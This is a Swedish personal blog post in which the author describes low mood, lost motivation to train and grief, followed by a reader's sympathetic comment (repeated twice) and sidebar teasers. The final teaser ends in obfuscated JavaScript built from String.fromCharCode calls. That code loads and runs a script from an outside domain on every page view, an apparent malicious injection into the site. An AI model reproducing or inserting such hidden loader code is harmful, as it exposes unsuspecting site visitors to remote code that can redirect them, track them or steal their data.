När motivationen tog semester..

IMG_7568

 

Hej fina! Hur mår du?

Jag har fastnat i en ond cirkel just nu. Jag är låg, ledsen och allmänt down… 

Tanken var att köra ett högintensivt pass nu ikväll….

Styrketräning, puls, svett 👊🏻💪🏻 Att få utlopp för min frustration! Att köra slut på mig själv och förhoppningvis få en hel natts sömn 🙏🏻

 Men orken tog slut innan jag ens tog mig till gymmet. motivationen tog semester….

Tänkte att jag löptränat istället…. men inte ens det orkade jag😫

Jag är lite låg just nu. Så istället tog jag en vilokväll med Lilleman på soffan…. 🙈

Helt Okay att inte vara på topp, glöm inte det!  Det är viktigt att tillåta sig att vara låg ibland…. och bara vara.

Sorg tar tid. Sorg gör ont. Sorg måste bearbetas💔 

Kram /My Martens

14 Komentarer

  1. Fina du, jag har försökt 5 gånger att läsa ditt inlägg om Tezz, men jag gråter så mycket varje gång redan efter första stycket. Jag börjar gråta nu när jag skrivet det här…. kan verkligen förstå din sorg och känner så för dig som varit med om så mycket. Vila i sorgen absolut man behöver det för att ta sig vidare. Stor Kram till dig.

  2. Fina du, jag har försökt 5 gånger att läsa ditt inlägg om Tezz, men jag gråter så mycket varje gång redan efter första stycket. Jag börjar gråta nu när jag skrivet det här…. kan verkligen förstå din sorg och känner så för dig som varit med om så mycket. Vila i sorgen absolut man behöver det för att ta sig vidare. Stor Kram till dig.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/